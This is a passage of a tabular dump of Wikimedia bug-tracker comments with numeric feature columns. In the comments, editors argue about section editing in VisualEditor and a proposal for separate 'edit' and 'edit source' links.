I have created this as bug 49666.",,,1371430370,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,6.0,29.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.979591836734694,0.3877551020408163,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I have created this as bug 49666."
223138,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #25)
> It would be wonderful if the ""edit source"" links or icons for sections also
> showed up inside the Visual Editor. The Visual Editor could treat ""edit
> source"" links or icons as uneditable links. But the link would still work. So
> people could click ""edit source"" links or icons to open source editing of a
> section.

I have created this as bug 49665.",,,1371430207,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.962962962962963,0.7037037037037037,"(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I have created this as bug 49665."
223131,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #20)
> I read the discussion, and it seems nobody mentioned what i think is the
> ""real""
> bug here: we have the ""edit source"" link, that drops you back to wikitext
> editor. The correct behavior for ve should obviously be to drop you to a
> section edit if the hser entered edit state through an edit section link. 
> 
> Peace.

I have created this as bug 49664.",,,1371429995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,10.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.967741935483871,0.6129032258064516,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I have created this as bug 49664."
223126,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Bartosz (comment 26). If I am reading bug 43133 right it sounds way too complicated. What I am suggesting is a simple ""edit source"" link to source mode editing of a section. Nothing fancy like floating windows, etc. tied in any way to the Visual Editor. 

One clicks out of the Visual Editor altogether. This means that edits to the source wikitext in a section are treated the same no matter how one got to that wikitext edit window. This avoids integration conflicts, additional edit conflicts, or anything complicated. 

Same for clicking on stuff Visual Editor can't edit. One is sent to source mode for the section where that stuff is found. Nothing more. 

For transcluded templates one still has to go to the bottom of the source-mode edit window for the whole page. That is where the list of transcluded templates is found. It would be nice if one could see such a list at the bottom of source-mode edit windows for sections too.",,,1371347020,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.5,0.5,0.5,2.0,0.5,5.0,1.5,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,1.0,0.5,6.5,13.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,7.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,18.5,2.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,7.0,4.5,10.5,3.0,0.5,10.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,3.0,13.0,3.5,0.0,1.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.5,0.0,1.0,3.984536082474227,0.6494845360824741,"Bartosz (comment 26). If I am reading bug 43133 right it sounds way too complicated. What I am suggesting is a simple ""edit source"" link to source mode editing of a section. Nothing fancy like floating windows, etc. tied in any way to the Visual Editor. 

One clicks out of the Visual Editor altogether. This means that edits to the source wikitext in a section are treated the same no matter how one got to that wikitext edit window. This avoids integration conflicts, additional edit conflicts, or anything complicated. 

Same for clicking on stuff Visual Editor can't edit. One is sent to source mode for the section where that stuff is found. Nothing more. 

For transcluded templates one still has to go to the bottom of the source-mode edit window for the whole page. That is where the list of transcluded templates is found. It would be nice if one could see such a list at the bottom of source-mode edit windows for sections too."
223119,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Timeshifter, this sounds very much like what is described at bug 43133.",,,1371343969,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"Timeshifter, this sounds very much like what is described at bug 43133."
223111,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I like kipod's ideas (comment 22). I think to more fully support section editing means to make it easy to choose either editor at any time. 

Let me explain. If the Bartosz patch is implemented (comment 24), or some variation of it, there will be ""edit"" and ""edit source"" links or icons on every section. 

It would be wonderful if the ""edit source"" links or icons for sections also showed up inside the Visual Editor. The Visual Editor could treat ""edit source"" links or icons as uneditable links. But the link would still work. So people could click ""edit source"" links or icons to open source editing of a section. 

People could go to source mode editing at anytime, even from inside the Visual Editor. That would be so convenient and so useful. 

Later on, this functionality could be extended to anything the Visual Editor can't edit. People could click on templates, tables, etc. inside the Visual Editor and go directly to source mode editing of that section. Or they could right-click templates, tables, etc. to go to a new tab in source mode for that section.",,,1371341581,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,5.333333333333333,10.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,2.3333333333333335,1.3333333333333333,0.0,1.3333333333333333,1.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,15.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,3.6666666666666665,2.0,8.666666666666666,0.6666666666666666,4.0,6.333333333333333,0.0,0.0,0.0,0.0,7.333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,10.333333333333334,4.333333333333333,0.0,3.3333333333333335,0.0,2.3333333333333335,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,1.6666666666666667,3.8072483072483068,0.6418026418026418,"I like kipod's ideas (comment 22). I think to more fully support section editing means to make it easy to choose either editor at any time. 

Let me explain. If the Bartosz patch is implemented (comment 24), or some variation of it, there will be ""edit"" and ""edit source"" links or icons on every section. 

It would be wonderful if the ""edit source"" links or icons for sections also showed up inside the Visual Editor. The Visual Editor could treat ""edit source"" links or icons as uneditable links. But the link would still work. So people could click ""edit source"" links or icons to open source editing of a section. 

People could go to source mode editing at anytime, even from inside the Visual Editor. That would be so convenient and so useful. 

Later on, this functionality could be extended to anything the Visual Editor can't edit. People could click on templates, tables, etc. inside the Visual Editor and go directly to source mode editing of that section. Or they could right-click templates, tables, etc. to go to a new tab in source mode for that section."
223104,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I submitted the patch above to show two links side-by-side, in the form of ""[edit] [edit source]"", similarly to how the article tabs are done.",,,1371319506,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.1052631578947367,0.7368421052631579,"I submitted the patch above to show two links side-by-side, in the form of ""[edit] [edit source]"", similarly to how the article tabs are done."
223099,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Related URL: https://gerrit.wikimedia.org/r/68868 (Gerrit Change I13bbb9549c999bb7301bbcf530706a813184425d),,,1371319421,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I13bbb9549c999bb7301bbcf530706a813184425d)
223095,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #21)
> (In reply to comment #20)
> > I read the discussion, and it seems nobody mentioned what i think is the
> > ""real""
> > bug here: we have the ""edit source"" link, that drops you back to wikitext
> > editor. The correct behavior for ve should obviously be to drop you to a
> > section edit if the hser entered edit state through an edit section link. 
> > 
> 
> It does do so (in its own way). If you click a section-edit link, it
> currently
> enters VE edit-mode, and scrolls down to the section you clicked on, and
> places
> the cursor at the beginning of the section-header.


no it doesn't. what i meant is that if you click on the ""edit"" section link, and then see something that requires wikitext editing and click ""edit source"", you are dropped into ""old"" editor _for the whole page_. this means that there is no way to execute the old ""section edit"" in the wikitext editor. removing this existing functionality is a regression, and fixing it should be easy.

""fixing it"" meas that if you open the editor through a ""section edit"" link and then press ""edit source"", you will be in the exact same state as someone who has VE disabled and pressed the edit section link.

failing to fix this causes editors to disable VE (i know for a fact that i am not the only one who disabled VE because of this very reason).

peace.",,,1371315010,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.3333333333333335,2.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,8.333333333333334,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,2.0,1.0,1.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,11.666666666666666,1.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,2.6666666666666665,6.0,2.6666666666666665,2.0,6.333333333333333,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,8.333333333333334,5.0,0.0,5.0,0.0,3.6666666666666665,0.0,1.6666666666666667,1.0,0.0,1.6666666666666667,0.0,0.0,0.0,3.473998294970162,0.6442881500426257,"(In reply to comment #21)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


no it doesn't. what i meant is that if you click on the ""edit"" section link, and then see something that requires wikitext editing and click ""edit source"", you are dropped into ""old"" editor _for the whole page_. this means that there is no way to execute the old ""section edit"" in the wikitext editor. removing this existing functionality is a regression, and fixing it should be easy.

""fixing it"" meas that if you open the editor through a ""section edit"" link and then press ""edit source"", you will be in the exact same state as someone who has VE disabled and pressed the edit section link.

failing to fix this causes editors to disable VE (i know for a fact that i am not the only one who disabled VE because of this very reason).

peace."
223092,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #20)
> I read the discussion, and it seems nobody mentioned what i think is the
> ""real""
> bug here: we have the ""edit source"" link, that drops you back to wikitext
> editor. The correct behavior for ve should obviously be to drop you to a
> section edit if the hser entered edit state through an edit section link. 
> 

It does do so (in its own way). If you click a section-edit link, it currently enters VE edit-mode, and scrolls down to the section you clicked on, and places the cursor at the beginning of the section-header.",,,1371313187,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,1.0,3.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,7.0,12.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.6388888888888888,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It does do so (in its own way). If you click a section-edit link, it currently enters VE edit-mode, and scrolls down to the section you clicked on, and places the cursor at the beginning of the section-header."
223090,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I read the discussion, and it seems nobody mentioned what i think is the ""real"" bug here: we have the ""edit source"" link, that drops you back to wikitext editor. The correct behavior for ve should obviously be to drop you to a section edit if the hser entered edit state through an edit section link. 

Peace.",,,1371301719,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,3.0,4.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,1.0,0.0,6.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7205882352941178,0.75,"I read the discussion, and it seems nobody mentioned what i think is the ""real"" bug here: we have the ""edit source"" link, that drops you back to wikitext editor. The correct behavior for ve should obviously be to drop you to a section edit if the hser entered edit state through an edit section link. 

Peace."
223087,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #17)
> (In reply to comment #16)
> > Matthew. You are incorrect. There has been a recent change. 
> 
> You're right that the section editing default has changed for people who
> opted
> in to VE.
> 
> However, if you've never changed any editing preferences (most registered
> users), you are still using the old editor by default.  That will change,
> assuming the random test works well and VE continues to improve.

I think Timeshifter means the ""which will soon be all users"" part, and I agree that it would be very unfortunate. Quiddity's solution seems like the best one, and IMO should be implemented before the A/B test on en.wp.",,,1371288142,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,1.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,1.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,23.0,1.0,3.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,4.0,8.0,16.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.4155844155844157,0.6493506493506493,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think Timeshifter means the ""which will soon be all users"" part, and I agree that it would be very unfortunate. Quiddity's solution seems like the best one, and IMO should be implemented before the A/B test on en.wp."
223083,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I commented at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Now_unable_to_edit_sections_by_old_method
that it would be ideal to have section-edit links for [edit] and [edit source].

 ie.
Sandbox [edit]
 replaced with:
Sandbox [edit] [edit source]

I believe this would prevent a LOT of complaints in the short term, and it would permit a lot of us to continue being active beta testers (section-editing is my most frequent type of edit), that it should be High priority, if at all possible. Thanks.",,,1371264453,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1.0,0.0,0.0,0.0,0.0,5.5,3.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.5,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.5,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,1.0,12.5,0.5,0.5,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,3.5,5.5,2.5,1.5,3.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.5,10.5,3.0,0.0,0.0,0.0,5.5,0.0,0.0,2.0,1.0,0.0,0.0,1.0,4.0,3.4008295625942684,0.7390648567119156,"I commented at URL
that it would be ideal to have section-edit links for [edit] and [edit source].

 ie.
Sandbox [edit]
 replaced with:
Sandbox [edit] [edit source]

I believe this would prevent a LOT of complaints in the short term, and it would permit a lot of us to continue being active beta testers (section-editing is my most frequent type of edit), that it should be High priority, if at all possible. Thanks."
223079,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #16)
> Matthew. You are incorrect. There has been a recent change. 

You're right that the section editing default has changed for people who opted in to VE.

However, if you've never changed any editing preferences (most registered users), you are still using the old editor by default.  That will change, assuming the random test works well and VE continues to improve.",,,1371259513,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,10.0,3.0,1.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,12.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,3.8767123287671232,0.7808219178082192,"(In reply to comment #16)
QUOTE

You're right that the section editing default has changed for people who opted in to VE.

However, if you've never changed any editing preferences (most registered users), you are still using the old editor by default.  That will change, assuming the random test works well and VE continues to improve."
223074,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Matthew. You are incorrect. There has been a recent change. 
Please read comment 13 by James Forrester above. Here is the relevant part: 

""as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it.""",,,1371257851,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,10.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,4.0,16.0,6.0,0.0,4.0,0.0,4.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,3.96,0.7,"Matthew. You are incorrect. There has been a recent change. 
Please read comment 13 by James Forrester above. Here is the relevant part: 

""as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it."""
223068,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #14)
> Many registered editors don't edit enough to know much about preferences. 
> ...

Editors who haven't changed their preferences are still using the wikitext editor.

> Worst of all, what was once an interesting option has now become an imposed
> encumbrance. There is no way to edit in source mode now without effort.
> Registered editors are forced to use VE. They can only opt-out of VE section
> editing. They must go here: 
> [[Special:Preferences#mw-prefsection-editing]]
> 
> Please return section editing of source wikitext as the default. Make this VE
> section editing gimmick the option in preferences. Make it opt-in, not
> opt-out. 

It is opt-in.  So far, the defaults have not changed in any way.  You can sign up for a temporary test account and see for yourself.

If you don't change any preferences, editing remains wikitext only.  And you can change back (and forth) at any time.  That means the defaults are not being imposed on anyone.

I understand your point.  VisualEditor is a work in progress.  However, it's a work in progress that's currently 100% opt-in, and James has already said he will consider two section edit links.",,,1371256729,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1.5,0.5,0.0,0.5,2.0,0.5,0.5,0.0,0.0,0.5,4.0,1.0,0.0,0.5,0.0,0.5,0.0,7.0,7.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,7.5,2.5,1.0,1.5,2.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,16.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,3.5,0.0,0.5,0.0,1.0,0.0,3.5,3.0,12.0,0.5,2.5,5.5,0.0,0.0,0.0,0.5,3.5,0.0,1.5,0.0,5.5,7.5,4.5,0.0,0.0,0.0,5.5,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,3.5284307963561563,0.6973993535116074,"(In reply to comment #14)
QUOTE
QUOTE

Editors who haven't changed their preferences are still using the wikitext editor.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It is opt-in.  So far, the defaults have not changed in any way.  You can sign up for a temporary test account and see for yourself.

If you don't change any preferences, editing remains wikitext only.  And you can change back (and forth) at any time.  That means the defaults are not being imposed on anyone.

I understand your point.  VisualEditor is a work in progress.  However, it's a work in progress that's currently 100% opt-in, and James has already said he will consider two section edit links."
223061,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Many registered editors don't edit enough to know much about preferences. This is a bad idea. There are already many complaints here: 
[[Wikipedia:VisualEditor/Feedback]]

This could cause many editors, who already do not edit much, to edit less because their edits get reverted soon after using Visual Editor. VE messes up many things. I have seen it myself, and so I do not use VE. I have to check a WHOLE-PAGE preview diff for errors it inserts before I save some other minor thing I edited. Minor typos and other things that used to take me a few seconds to fix now take a long time with the Visual Editor. 

Visual Editor needs to edit SECTIONS, too. Not the whole page. So this fix is not a fix. Visual Editor still does not support section editing. It still only edits the whole page. 

Worst of all, what was once an interesting option has now become an imposed encumbrance. There is no way to edit in source mode now without effort. Registered editors are forced to use VE. They can only opt-out of VE section editing. They must go here: 
[[Special:Preferences#mw-prefsection-editing]]

Please return section editing of source wikitext as the default. Make this VE section editing gimmick the option in preferences. Make it opt-in, not opt-out. 

The WMF does not have anywhere near a consensus or approval or any other type of community process sanction that justifies imposing beta VE. Especially when it is as buggy and beta as it is now. VE was actually an interesting option until this latest forced imposition of beta VE.",,,1371255945,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,2.5,0.0,0.0,0.25,2.0,7.0,1.25,0.25,0.0,0.0,1.75,0.25,0.0,0.5,0.5,1.75,0.0,8.0,8.25,0.0,2.0,0.25,0.0,0.0,1.0,0.0,0.0,0.25,0.5,0.0,0.25,5.75,0.75,1.75,0.0,0.0,0.0,0.0,0.5,0.0,0.25,0.75,1.25,3.0,0.0,0.0,0.0,0.5,0.0,11.75,0.5,0.75,0.75,0.0,0.0,0.0,0.0,0.5,0.25,0.0,0.25,1.75,0.0,0.25,0.0,0.5,0.0,4.0,2.5,12.5,0.5,1.5,6.5,0.0,0.0,0.0,0.0,5.5,0.25,0.0,0.0,4.25,8.25,6.0,0.0,0.0,0.0,4.25,0.0,1.25,2.25,0.5,0.75,0.25,0.5,1.0,3.887195121951219,0.7225609756097562,"Many registered editors don't edit enough to know much about preferences. This is a bad idea. There are already many complaints here: 
[[Wikipedia:VisualEditor/Feedback]]

